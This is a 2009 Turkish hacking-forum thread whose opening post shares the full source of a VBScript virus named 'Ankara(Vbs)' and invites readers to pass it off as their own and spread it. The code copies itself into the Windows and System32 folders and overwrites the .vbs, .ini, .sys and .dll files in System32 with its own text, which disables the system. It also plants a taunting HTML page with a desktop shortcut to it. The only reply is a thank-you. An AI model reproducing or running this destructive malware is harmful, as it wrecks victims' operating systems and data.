THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

Süper Bir Virüs Daha

TrMaxi05 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
12/2009
Mesajlar:
1
Konular:
1
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Ticaret:
(0) %
1
636
07-12-2009 02:06
#1
Virüsü Ben Yazdım Deyip, 2 Kodu 1 Araya Getiremeyen Ters Yönlü Arkadaşlar, Ben Yaptım Deyip Sürebilirler Piyasaya
Virüsün Adı : Ankara(Vbs)
Kısaca İşlevi;
System32'de Bulunan Vbs, Inı, Sys Gibi Dosya Türlerinin İçeriğine Kendisini Enjekte Eder Ve Sistemi Çalışmaz Hale Getirir.
Çalışmıyo Vb SoruLar ; gozyasi---@hotmail.com

Kod:
Rem // Ankara(Vbs) - You Must Come To Ankara!
Rem // By: gozyasi---@hotmail.com
Dim c1, c2, c3, c4, c5
Set c1 = CreateObject ("Scripting.FileSystemObject")
Set c2 = c1.GetSpeciAlFolder(0)
Set c3 = c1.GetSpeciAlFolder(1)
Set c4 = c1.GetFile (Wscript.ScriptFullName)
c4.Copy (c2 & "\winL0rd.html")
c4.Copy (c3 & "\Ankara.vbs")
Set c5 = c1.OpenTextFile(c2 & "\winL0rd.html", 2, True)
c5.WriteLine "<Html><Head><Title>Warning!</title></Head><Body BgColor=" & """#000000""" & "><P Align=" & """Center""" & "><B><Font Face=" & """Verdana""" & " Size=" & """6""" & " Color=" & """#44F44""" & ">Warning!</Font></B><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">I Can Destroy Your Computer, You Are Come To (ANKARA)</Font><Br><Br><Font Face=" & """Verdana""" & " Size=" & """2""" & " Color=" & """#44FF44""" & ">By: gozyasi---@hotmail.com</Font></P></Body></Html>"
Devam()
Sub Devam()
Dim  c6, c7, c8, c9, c10
Set c6 = c1.OpenTextFile(WScript.ScriptFullName)
Set c7 = c1.GetSpecialFolder(1)
Set c8 = c1.GetFolder(c7)
Set c9 = c8.Files
c14 = c6.ReadAll
For each Ben in c9
uzanti = c1.GetExtensionName(Ben.path)
If (uzanti = "vbs") or  (uzanti = "ini") or (uzanti = "sys") or (uzanti = "dll") Then
Set c10 = c1.OpenTextFile(Ben.path, 2, True)
c10.Write (c14)
c10.Close
End If
Next
Kyol()
End Sub
Sub Kyol()
Dim c11, c12, c13
set c11 = WScript.CreateObject("WScript.Shell")
c12 = c11.SpecialFolders("Desktop")
set c13 = c11.CreateShortcut(c12 & "\Oku Bunu.Url")
c13.TargetPath = (c2 & "\winL0rd.html")
c13.Save
Rem // Ankara(vbs)
End Sub
gokhanb - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
12/2009
Nereden:
Konya
Yaş:
30
Mesajlar:
251
Konular:
111
Teşekkür (Etti):
20
Teşekkür (Aldı):
55
Ticaret:
(0) %
07-12-2009 03:12
#2
tesekkür
--------------------- ☪ Ne Mutlu Türküm Diyene ☪



Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler